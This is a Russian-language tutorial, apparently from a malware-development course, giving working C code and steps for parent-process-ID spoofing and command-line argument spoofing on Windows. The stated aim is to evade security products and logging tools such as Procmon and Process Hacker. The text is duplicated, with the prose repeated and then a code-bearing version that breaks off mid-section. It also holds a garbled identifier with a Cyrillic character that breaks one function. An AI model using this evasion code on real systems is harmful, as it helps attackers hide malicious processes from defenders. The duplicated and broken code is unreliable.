Spoofing - В переводе подмена.)
Рассмотрим несколько вариантов техники:
Подмена номера родительского процесса (PPID)
Это техника, используемая для изменения PPID процесса, что позволяет эффективно маскировать связь между дочерним процессом и его истинным родительским процессом. Это можно сделать, изменив PPID дочернего процесса на другое значение, заставив его выглядеть так, как будто процесс был запущен другим законным процессом Windows, а не истинным родительским процессом.
Решения безопасности и защитники часто ищут необычные отношения между родителем и ребенком. Например, если Microsoft Word запускает cmd.exe, это обычно указывает на выполнение злонамеренных макросов. Если cmd.exe запускается с другим PPID, он скроет истинный родительский процесс и будет выглядеть так, как будто он был запущен другим процессом.
Вот например в статье про APC, RuntimeBroker.exe был запущен родителем EarlyBird.exe, что может использоваться решениями безопасности для обнаружения злонамеренной активности.
Список атрибутов
Список атрибутов — это структура данных, которая хранит список атрибутов, связанных с процессом или потоком. К этим атрибутам могут относиться такие сведения, как приоритет, алгоритм планирования, состояние, привязка к ЦП, адресное пространство памяти процесса или потока и многое другое. Списки атрибутов могут использоваться для эффективного хранения и извлечения информации о процессах и потоках, а также для изменения атрибутов процесса или потока в реальном времени.
Для PPID Spoofing требуется использование и изменение списка атрибутов процесса для модификации его PPID. Использование и изменение списка атрибутов процесса будут показаны в следующих разделах.
Создание процесса
Процесс подмены PPID требует создания процесса с использованием CreateProcess с установленным флагом EXTENDED_STARTUPINFO_PRESENT, который используется для дополнительного контроля созданного процесса. Этот флаг позволяет изменять некоторую информацию о процессе, такую как информацию PPID.
Документация Microsoft по EXTENDED_STARTUPINFO_PRESENT гласит следующее:
Процесс создается с расширенной информацией о запуске; параметр lpStartupInfo определяет структуру STARTUPINFOEX.
Это означает, что также необходима структура данных STARTUPINFOEXA.
Структура STARTUPINFOEXA
Структура данных STARTUPINFOEXA представлена ниже:
StartupInfo — это та же структура, которая использовалась в предыдущих статьях для создания нового процесса. Обратитесь к статье про APC для повторения.
Единственный элемент, который нужно установить, это cb, равный sizeof(STARTUPINFOEX).
lpAttributeList создается с использованием WinAPI InitializeProcThreadAttributeList. Это структура данных списка атрибутов, которая обсуждается подробнее в следующем разделе.
Инициализация списка атрибутов
Функция InitializeProcThreadAttributeList представлена ниже.
Чтобы передать список атрибутов, который изменяет родительский процесс созданного дочернего процесса, сначала создайте список атрибутов с использованием WinAPI InitializeProcThreadAttributeList. Этот API инициализирует указанный список атрибутов для создания процесса и потока. Согласно документации Microsoft, InitializeProcThreadAttributeList должен вызываться дважды:
Обновление списка атрибутов
После успешной инициализации списка атрибутов используйте WinAPI UpdateProcThreadAttribute, чтобы добавить атрибуты в список. Функция представлена ниже.
Attribute - Этот флаг критически важен для PPID spoofing и указывает, что следует обновить в списке атрибутов. В этом случае он должен быть установлен на флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS для обновления информации о родительском процессе.
Флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS указывает родительский процесс потока. В общем случае родительский процесс потока — это процесс, который создал поток. Если поток создается с использованием функции CreateThread, родительский процесс — это тот, который вызвал функцию CreateThread. Если поток создается как часть нового процесса с использованием функции CreateProcess, родительский процесс — это новый процесс. Обновление родительского процесса потока также обновит родительский процесс связанного процесса.
lpValue - Дескриптор родительского процесса.
cbSize - Размер значения атрибута, указанного параметром lpValue. Это будет установлено в sizeof(HANDLE).
Логика реализации
Шаги ниже подводят итог необходимых действий для выполнения PPID spoofing.
Функция PPID Spoofing
CreatePPidSpoofedProcess — это функция, которая создаёт процесс с поддельным PPID.
Функция принимает 5 аргументов:
hParentProcess - дескриптор процесса, который станет родителем для только что созданного процесса.
lpProcessName - имя процесса, который необходимо создать.
dwProcessId - указатель на DWORD, который принимает PID новосозданного процесса.
hProcess - указатель на HANDLE, который принимает дескриптор только что созданного процесса.
hThread - указатель на HANDLE, который принимает дескриптор потока только что созданного процесса.
Демо
Создание дочернего процесса, RuntimeBroker.exe, с родителем svchost.exe, который имеет PID 21956. Обратите внимание, что этот процесс svchost.exe выполняется с обычными привилегиями.
PPID Spoofing успешно выполнен. Процесс RuntimeBroker.exe выглядит так, как будто он был запущен svchost.exe.
Демо 2 - Обновление текущего каталога
Заметьте, как в предыдущем демо значение "Current Directory" указывает на каталог исполняемого файла PPidSpoofing.exe.
Это может легко стать индикатором заражения, и решения безопасности или защитники могут быстро пометить эту аномалию. Чтобы исправить это, просто установите параметр lpCurrentDirectory в CreateProcess WinAPI на менее подозрительный каталог, например, "C:\Windows\System32".
Давайте теперь ещё рассмотрим одну интересную технику.)
Подмена аргумента процесса - это техника, используемая для скрытия командной строки нового процесса с целью выполнения команд без их раскрытия службам регистрации, таким как Procmon.
На изображении ниже показана команда powershell.exe -c calc.exe, которая регистрируется в Procmon. Цель этого раздела - выполнить команду powershell.exe -c calc.exe, чтобы она не была успешно зарегистрирована в Procmon.
Обзор PEB (Блок параметров выполнения процесса)
Первый шаг к выполнению обмана аргумента - понять, где хранятся аргументы внутри процесса. Напомним структуру PEB, которая была объяснена в начале курса, она содержит информацию о процессе. Более конкретно, структура RTL_USER_PROCESS_PARAMETERS внутри PEB содержит член CommandLine, который содержит аргументы командной строки. Структура RTL_USER_PROCESS_PARAMETERS показана ниже.
CommandLine определен как UNICODE_STRING.
Структура UNICODE_STRING
Структура UNICODE_STRING показана ниже.
Элемент Buffer будет содержать содержимое аргументов командной строки. Имея это в виду, можно получить доступ к аргументам командной строки, используя PEB->ProcessParameters.CommandLine.Buffer как строку широких символов.
Как выполнить подмену аргументов процесса
Для выполнения подмена аргументов командной строки сначала необходимо создать целевой процесс в приостановленном состоянии, передавая фиктивные аргументы, которые не считаются подозрительными. Прежде чем возобновить процесс, строку PEB->ProcessParameters.CommandLine.Buffer необходимо заменить на желаемую строку-полезную нагрузку, которая заставит службы регистрации регистрировать фиктивные аргументы, а не фактические аргументы командной строки, которые будут выполнены. Для выполнения этой процедуры необходимо выполнить следующие шаги:
Получение удаленного адреса PEB
Для получения адреса PEB удаленного процесса необходимо использовать NtQueryInformationProcess с флагом ProcessBasicInformation.
Как указано в документации, при использовании флага ProcessBasicInformation NtQueryInformationProcess вернет структуру PROCESS_BASIC_INFORMATION, которая выглядит следующим образом:
Обратите внимание, что поскольку NtQueryInformationProcess - это системный вызов, его нужно вызывать с использованием GetModuleHandle и GetProcAddress, как показано в предыдущих статьях.
Чтение удаленной структуры PEB
После получения адреса PEB для удаленного процесса можно прочитать структуру PEB с помощью функции WinAPI ReadProcessMemory, как показано ниже.
ReadProcessMemory используется для чтения данных из указанного адреса, указанного в параметре lpBaseAddress. Функцию нужно вызвать дважды:
При чтении структуры RTL_USER_PROCESS_PARAMETERS необходимо читать больше байт, чем sizeof(RTL_USER_PROCESS_PARAMETERS). Это связано с тем, что реальный размер этой структуры зависит от размера фиктивного аргумента. Для обеспечения чтения всей структуры дополнительные байты должны быть прочитаны. Это делается в образце кода, где читается дополнительных 225 байтов.
Патчинг CommandLine.Buffer
Получив структуру RTL_USER_PROCESS_PARAMETERS, можно получить доступ и патчить CommandLine.Buffer. Для этого будет использоваться функция WinAPI WriteProcessMemory, как показано ниже.
Код в этой статье использует две вспомогательные функции, которые читают и записывают данные из и в целевой процесс.
Функция ReadFromTargetProcess
Вспомогательная функция ReadFromTargetProcess вернет выделенную кучу, содержащую буфер, прочитанный из целевого процесса. Сначала она читает структуру PEB, а затем использует ее для получения структуры RTL_USER_PROCESS_PARAMETERS. Функция ReadFromTargetProcess показана ниже.
Функция WriteToTargetProcess
Вспомогательная функция WriteToTargetProcess передает соответствующие параметры функции WriteProcessMemory и проверяет вывод. Функция WriteToTargetProcess показана ниже.
Функция подмены аргумента процесса
CreateArgSpoofedProcess - это функция, выполняющая подмен аргумента командной строки во вновь созданном процессе.
Функция требует 5 аргументов:
szStartupArgs - Фиктивные аргументы. Они должны быть безвредными.
szRealArgs - Реальные аргументы для выполнения.
dwProcessId - Указатель на DWORD, который получает PID.
hProcess - Указатель на HANDLE, который получает дескриптор процесса.
hThread - Указатель на DWORD, который получает дескриптор потока процесса.
Демонстрация
powershell.exe Totally Legit Argument - это фиктивный аргумент, который будет зарегистрирован, в то время как powershell.exe -c calc.exe - это полезная нагрузка, которая будет выполнена.
Отлично Procmon был обманут, и он зарегистрировал фиктивные аргументы командной строки. Однако эта же техника не работает так хорошо с некоторыми инструментами, такими как Process Hacker. Ниже показан результат подмены аргумента в Process Hacker.
Легитимные аргументы отображаются Process Hacker, вместе с фрагментом фиктивного аргумента. В этом разделе мы проанализируем, почему это происходит, и предоставим решение.
Анализ проблемы
Для лучшего понимания того, почему отображаются легитимные аргументы, фиктивный аргумент будет установлен в powershell.exe AAAAAAA....
Проверка Process Hacker снова показывает, что регистрируются как легитимые, так и фиктивные аргументы.
Использование PEB->ProcessParameters.CommandLine.Buffer для перезаписи полезной нагрузки может быть обнаружено Process Hacker и другими инструментами, такими как Process Explorer, потому что эти инструменты используют NtQueryInformationProcess для чтения аргументов командной строки процесса во время выполнения. Поскольку это происходит во время выполнения, они могут видеть, что в данный момент находится в PEB->ProcessParameters.CommandLine.Buffer.
Решение
Эти инструменты считывают CommandLine.Buffer до длины, указанной в CommandLine.Length. Они не полагаются на то, что CommandLine.Buffer завершается нулевым символом, потому что Microsoft утверждает в своей документации, что UNICODE_STRING.Buffer может не быть завершен нулевым символом.
Короче говоря, эти инструменты ограничивают количество байт, считываемых из CommandLine.Buffer, равным CommandLine.Length, чтобы избежать чтения дополнительных ненужных байт в случае, если CommandLine.Buffer не завершен нулевым символом.
Возможно обмануть эти инструменты, установив CommandLine.Length меньше размера буфера. Это позволяет контролировать, сколько полезной нагрузки внутри CommandLine.Buffer будет отображено. Это можно сделать, переписав адрес CommandLine.Length в удаленном процессе, передав желаемый размер буфера для чтения внешними инструментами.
Патчинг CommandLine.Length
Следующий фрагмент кода патчит PEB->ProcessParameters.CommandLine.Length, чтобы ограничить то, что может читать Process Hacker только для powershell.exe. Сначала аргумент подмены устанавливается в "Totally Legit Argument", а затем длина патчится, чтобы быть размером sizeof(L"powershell.exe").
Демонстрация
Просмотр Process Hacker.
Procmon view.
Рассмотрим несколько вариантов техники:
Подмена номера родительского процесса (PPID)
Это техника, используемая для изменения PPID процесса, что позволяет эффективно маскировать связь между дочерним процессом и его истинным родительским процессом. Это можно сделать, изменив PPID дочернего процесса на другое значение, заставив его выглядеть так, как будто процесс был запущен другим законным процессом Windows, а не истинным родительским процессом.
Решения безопасности и защитники часто ищут необычные отношения между родителем и ребенком. Например, если Microsoft Word запускает cmd.exe, это обычно указывает на выполнение злонамеренных макросов. Если cmd.exe запускается с другим PPID, он скроет истинный родительский процесс и будет выглядеть так, как будто он был запущен другим процессом.
Вот например в статье про APC, RuntimeBroker.exe был запущен родителем EarlyBird.exe, что может использоваться решениями безопасности для обнаружения злонамеренной активности.
Список атрибутов
Список атрибутов — это структура данных, которая хранит список атрибутов, связанных с процессом или потоком. К этим атрибутам могут относиться такие сведения, как приоритет, алгоритм планирования, состояние, привязка к ЦП, адресное пространство памяти процесса или потока и многое другое. Списки атрибутов могут использоваться для эффективного хранения и извлечения информации о процессах и потоках, а также для изменения атрибутов процесса или потока в реальном времени.
Для PPID Spoofing требуется использование и изменение списка атрибутов процесса для модификации его PPID. Использование и изменение списка атрибутов процесса будут показаны в следующих разделах.
Создание процесса
Процесс подмены PPID требует создания процесса с использованием CreateProcess с установленным флагом EXTENDED_STARTUPINFO_PRESENT, который используется для дополнительного контроля созданного процесса. Этот флаг позволяет изменять некоторую информацию о процессе, такую как информацию PPID.
Документация Microsoft по EXTENDED_STARTUPINFO_PRESENT гласит следующее:
Процесс создается с расширенной информацией о запуске; параметр lpStartupInfo определяет структуру STARTUPINFOEX.
Это означает, что также необходима структура данных STARTUPINFOEXA.
Структура STARTUPINFOEXA
Структура данных STARTUPINFOEXA представлена ниже:
C:
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Список атрибутов
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
StartupInfo — это та же структура, которая использовалась в предыдущих статьях для создания нового процесса. Обратитесь к статье про APC для повторения.
Единственный элемент, который нужно установить, это cb, равный sizeof(STARTUPINFOEX).
lpAttributeList создается с использованием WinAPI InitializeProcThreadAttributeList. Это структура данных списка атрибутов, которая обсуждается подробнее в следующем разделе.
Инициализация списка атрибутов
Функция InitializeProcThreadAttributeList представлена ниже.
C:
BOOL InitializeProcThreadAttributeList(
[out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
[in] DWORD dwAttributeCount,
DWORD dwFlags, // NULL (зарезервировано)
[in, out] PSIZE_T lpSize
);
Чтобы передать список атрибутов, который изменяет родительский процесс созданного дочернего процесса, сначала создайте список атрибутов с использованием WinAPI InitializeProcThreadAttributeList. Этот API инициализирует указанный список атрибутов для создания процесса и потока. Согласно документации Microsoft, InitializeProcThreadAttributeList должен вызываться дважды:
- Первый вызов InitializeProcThreadAttributeList должен иметь значение NULL для параметра lpAttributeList. Этот вызов используется для определения размера списка атрибутов, который будет получен из параметра lpSize.
- Второй вызов InitializeProcThreadAttributeList должен указать действующий указатель для параметра lpAttributeList. Значение lpSize следует предоставить на этот раз в качестве ввода. Этот вызов инициализирует список атрибутов.
Обновление списка атрибутов
После успешной инициализации списка атрибутов используйте WinAPI UpdateProcThreadAttribute, чтобы добавить атрибуты в список. Функция представлена ниже.
C:
BOOL UpdateProcThreadAttribute(
[in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // возвращаемое значение от InitializeProcThreadAttributeList
[in] DWORD dwFlags, // NULL (зарезервировано)
[in] DWORD_PTR Attribute,
[in] PVOID lpValue, // указатель на значение атрибута
[in] SIZE_T cbSize, // sizeof(lpValue)
[out, optional] PVOID lpPreviousValue, // NULL (зарезервировано)
[in, optional] PSIZE_T lpReturnSize // NULL (зарезервировано)
);
Attribute - Этот флаг критически важен для PPID spoofing и указывает, что следует обновить в списке атрибутов. В этом случае он должен быть установлен на флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS для обновления информации о родительском процессе.
Флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS указывает родительский процесс потока. В общем случае родительский процесс потока — это процесс, который создал поток. Если поток создается с использованием функции CreateThread, родительский процесс — это тот, который вызвал функцию CreateThread. Если поток создается как часть нового процесса с использованием функции CreateProcess, родительский процесс — это новый процесс. Обновление родительского процесса потока также обновит родительский процесс связанного процесса.
lpValue - Дескриптор родительского процесса.
cbSize - Размер значения атрибута, указанного параметром lpValue. Это будет установлено в sizeof(HANDLE).
Логика реализации
Шаги ниже подводят итог необходимых действий для выполнения PPID spoofing.
- Вызывается CreateProcessA с флагом EXTENDED_STARTUPINFO_PRESENT для обеспечения дополнительного контроля над созданным процессом.
- Создается структура STARTUPINFOEXA, которая содержит список атрибутов, LPPROC_THREAD_ATTRIBUTE_LIST.
- Вызывается InitializeProcThreadAttributeList для инициализации списка атрибутов. Функцию следует вызывать дважды, первый раз определяет размер списка атрибутов, а следующий вызов осуществляет инициализацию.
- UpdateProcThreadAttribute используется для обновления атрибутов, устанавливая флаг PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, который позволяет пользователю указать родительский процесс потока.
Функция PPID Spoofing
CreatePPidSpoofedProcess — это функция, которая создаёт процесс с поддельным PPID.
Функция принимает 5 аргументов:
hParentProcess - дескриптор процесса, который станет родителем для только что созданного процесса.
lpProcessName - имя процесса, который необходимо создать.
dwProcessId - указатель на DWORD, который принимает PID новосозданного процесса.
hProcess - указатель на HANDLE, который принимает дескриптор только что созданного процесса.
hThread - указатель на HANDLE, который принимает дескриптор потока только что созданного процесса.
C:
BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath[MAX_PATH * 2];
CHAR WnDr[MAX_PATH];
SIZE_T sThreadAttList = NULL;
PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL;
STARTUPINFOEXA SiEx = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Установка размера структуры
SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
// Это завершится ошибкой ERROR_INSUFFICIENT_BUFFER, как и ожидалось
InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);
// Выделение достаточного объема памяти
pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
if (pThreadAttList == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Повторный вызов InitializeProcThreadAttributeList, но передача правильных параметров
if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Установка элемента LPPROC_THREAD_ATTRIBUTE_LIST в SiEx равным тому, что было создано с использованием UpdateProcThreadAttribute - то есть родительский процесс
SiEx.lpAttributeList = pThreadAttList;
if (!CreateProcessA(NULL, lpPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &SiEx.StartupInfo, &Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Очистка
DeleteProcThreadAttributeList(pThreadAttList);
CloseHandle(hParentProcess);
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
Демо
Создание дочернего процесса, RuntimeBroker.exe, с родителем svchost.exe, который имеет PID 21956. Обратите внимание, что этот процесс svchost.exe выполняется с обычными привилегиями.
PPID Spoofing успешно выполнен. Процесс RuntimeBroker.exe выглядит так, как будто он был запущен svchost.exe.
Демо 2 - Обновление текущего каталога
Заметьте, как в предыдущем демо значение "Current Directory" указывает на каталог исполняемого файла PPidSpoofing.exe.
Это может легко стать индикатором заражения, и решения безопасности или защитники могут быстро пометить эту аномалию. Чтобы исправить это, просто установите параметр lpCurrentDirectory в CreateProcess WinAPI на менее подозрительный каталог, например, "C:\Windows\System32".
Давайте теперь ещё рассмотрим одну интересную технику.)
Подмена аргумента процесса - это техника, используемая для скрытия командной строки нового процесса с целью выполнения команд без их раскрытия службам регистрации, таким как Procmon.
На изображении ниже показана команда powershell.exe -c calc.exe, которая регистрируется в Procmon. Цель этого раздела - выполнить команду powershell.exe -c calc.exe, чтобы она не была успешно зарегистрирована в Procmon.
Обзор PEB (Блок параметров выполнения процесса)
Первый шаг к выполнению обмана аргумента - понять, где хранятся аргументы внутри процесса. Напомним структуру PEB, которая была объяснена в начале курса, она содержит информацию о процессе. Более конкретно, структура RTL_USER_PROCESS_PARAMETERS внутри PEB содержит член CommandLine, который содержит аргументы командной строки. Структура RTL_USER_PROCESS_PARAMETERS показана ниже.
C:
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
CommandLine определен как UNICODE_STRING.
Структура UNICODE_STRING
Структура UNICODE_STRING показана ниже.
C:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
Элемент Buffer будет содержать содержимое аргументов командной строки. Имея это в виду, можно получить доступ к аргументам командной строки, используя PEB->ProcessParameters.CommandLine.Buffer как строку широких символов.
Как выполнить подмену аргументов процесса
Для выполнения подмена аргументов командной строки сначала необходимо создать целевой процесс в приостановленном состоянии, передавая фиктивные аргументы, которые не считаются подозрительными. Прежде чем возобновить процесс, строку PEB->ProcessParameters.CommandLine.Buffer необходимо заменить на желаемую строку-полезную нагрузку, которая заставит службы регистрации регистрировать фиктивные аргументы, а не фактические аргументы командной строки, которые будут выполнены. Для выполнения этой процедуры необходимо выполнить следующие шаги:
- Создать целевой процесс в приостановленном состоянии.
- Получить удаленный адрес PEB созданного процесса.
- Прочитать удаленную структуру PEB из созданного процесса.
- Прочитать удаленную структуру PEB->ProcessParameters из созданного процесса.
- Заменить строку ProcessParameters.CommandLine.Buffer и перезаписать ее полезным полезным данными для выполнения.
- Возобновить процесс.
Получение удаленного адреса PEB
Для получения адреса PEB удаленного процесса необходимо использовать NtQueryInformationProcess с флагом ProcessBasicInformation.
Как указано в документации, при использовании флага ProcessBasicInformation NtQueryInformationProcess вернет структуру PROCESS_BASIC_INFORMATION, которая выглядит следующим образом:
C:
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress; // Указывает на структуру PEB.
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
Обратите внимание, что поскольку NtQueryInformationProcess - это системный вызов, его нужно вызывать с использованием GetModuleHandle и GetProcAddress, как показано в предыдущих статьях.
Чтение удаленной структуры PEB
После получения адреса PEB для удаленного процесса можно прочитать структуру PEB с помощью функции WinAPI ReadProcessMemory, как показано ниже.
C:
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
ReadProcessMemory используется для чтения данных из указанного адреса, указанного в параметре lpBaseAddress. Функцию нужно вызвать дважды:
- Первый вызов используется для чтения структуры PEB, передавая адрес PEB, полученный из вывода NtQueryInformationProcess, в параметр lpBaseAddress.
- Затем он вызывается во второй раз для чтения структуры RTL_USER_PROCESS_PARAMETERS, передавая ее адрес в параметр lpBaseAddress. Обратите внимание, что структура RTL_USER_PROCESS_PARAMETERS находится внутри структуры PEB при первом вызове. Помните, что эта структура содержит член CommandLine, который необходим для выполнения подмены аргументов.
При чтении структуры RTL_USER_PROCESS_PARAMETERS необходимо читать больше байт, чем sizeof(RTL_USER_PROCESS_PARAMETERS). Это связано с тем, что реальный размер этой структуры зависит от размера фиктивного аргумента. Для обеспечения чтения всей структуры дополнительные байты должны быть прочитаны. Это делается в образце кода, где читается дополнительных 225 байтов.
Патчинг CommandLine.Buffer
Получив структуру RTL_USER_PROCESS_PARAMETERS, можно получить доступ и патчить CommandLine.Buffer. Для этого будет использоваться функция WinAPI WriteProcessMemory, как показано ниже.
C:
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress, // Что перезаписывается (CommandLine.Buffer)
[in] LPCVOID lpBuffer, // Что записывается (новый аргумент процесса)
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
- pBaseAddress должен быть установлен на то, что перезаписывается, что в данном случае является CommandLine.Buffer.
- lpBuffer - это данные, которые будут перезаписывать фиктивные аргументы. Он должен быть строкой широких символов для замены CommandLine.Buffer, который также является строкой широких символов.
- Параметр nSize - это размер буфера для записи в байтах. Он должен быть равен длине строки, которая записывается, умноженной на размер WCHAR плюс 1 (для нулевого символа).
Код в этой статье использует две вспомогательные функции, которые читают и записывают данные из и в целевой процесс.
Функция ReadFromTargetProcess
Вспомогательная функция ReadFromTargetProcess вернет выделенную кучу, содержащую буфер, прочитанный из целевого процесса. Сначала она читает структуру PEB, а затем использует ее для получения структуры RTL_USER_PROCESS_PARAMETERS. Функция ReadFromTargetProcess показана ниже.
C:
BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) {
SIZE_T sNmbrOfBytesRead = NULL;
*ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);
if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize){
printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError());
printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize);
return FALSE;
}
return TRUE;
}
Функция WriteToTargetProcess
Вспомогательная функция WriteToTargetProcess передает соответствующие параметры функции WriteProcessMemory и проверяет вывод. Функция WriteToTargetProcess показана ниже.
C:
BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) {
SIZE_T sNmbrOfBytesWritten = NULL;
if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmбрOfBytesWritten != dwBufferSize) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize);
return FALSE;
}
return TRUE;
}
Функция подмены аргумента процесса
CreateArgSpoofedProcess - это функция, выполняющая подмен аргумента командной строки во вновь созданном процессе.
Функция требует 5 аргументов:
szStartupArgs - Фиктивные аргументы. Они должны быть безвредными.
szRealArgs - Реальные аргументы для выполнения.
dwProcessId - Указатель на DWORD, который получает PID.
hProcess - Указатель на HANDLE, который получает дескриптор процесса.
hThread - Указатель на DWORD, который получает дескриптор потока процесса.
C:
BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
NTSTATUS STATUS = NULL;
WCHAR szProcess [MAX_PATH];
STARTUPINFOW Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
PROCESS_BASIC_INFORMATION PBI = { 0 };
ULONG uRetern = NULL;
PPEB pPeb = NULL;
PRTL_USER_PROCESS_PARAMETERS pParms = NULL;
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFOW);
// Получение адреса функции NtQueryInformationProcess
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
if (pNtQueryInformationProcess == NULL)
return FALSE;
lstrcpyW(szProcess, szStartupArgs);
if (!CreateProcessW(
NULL,
szProcess,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, // создание процесса приостановленным и без окна
NULL,
L"C:\\Windows\\System32\\", // можно использовать GetEnvironmentVariableW для получения этого программно
&Si,
&Pi)) {
printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
// Получение структуры PROCESS_BASIC_INFORMATION удаленного процесса, которая содержит адрес PEB
if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Чтение структуры PEB из ее базового адреса в удаленном процессе
if (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) {
printf("\t[!] Failed To Read Target's Process Peb \n");
return FALSE;
}
// Чтение структуры RTL_USER_PROCESS_PARAMETERS из PEB удаленного процесса
// Читается дополнительных 0xFF байтов, чтобы убедиться, что мы достигли указателя CommandLine.Buffer
// 0xFF - это 255, но может быть любым, на ваш выбор
if (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
printf("\t[!] Failed To Read Target's Process ProcessParameters \n");
return FALSE;
}
// Запись реальных аргументов в процесс
if (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) {
printf("\t[!] Failed To Write The Real Parameters\n");
return FALSE;
}
// Очистка
HeapFree(GetProcessHeap(), NULL, pPeb);
HeapFree(GetProcessHeap(), NULL, pParms);
// Возобновление процесса с новыми параметрами
ResumeThread(Pi.hThread);
// Сохранение выходных параметров
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Проверка, все ли параметры действительны
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
Демонстрация
powershell.exe Totally Legit Argument - это фиктивный аргумент, который будет зарегистрирован, в то время как powershell.exe -c calc.exe - это полезная нагрузка, которая будет выполнена.
Отлично Procmon был обманут, и он зарегистрировал фиктивные аргументы командной строки. Однако эта же техника не работает так хорошо с некоторыми инструментами, такими как Process Hacker. Ниже показан результат подмены аргумента в Process Hacker.
Легитимные аргументы отображаются Process Hacker, вместе с фрагментом фиктивного аргумента. В этом разделе мы проанализируем, почему это происходит, и предоставим решение.
Анализ проблемы
Для лучшего понимания того, почему отображаются легитимные аргументы, фиктивный аргумент будет установлен в powershell.exe AAAAAAA....
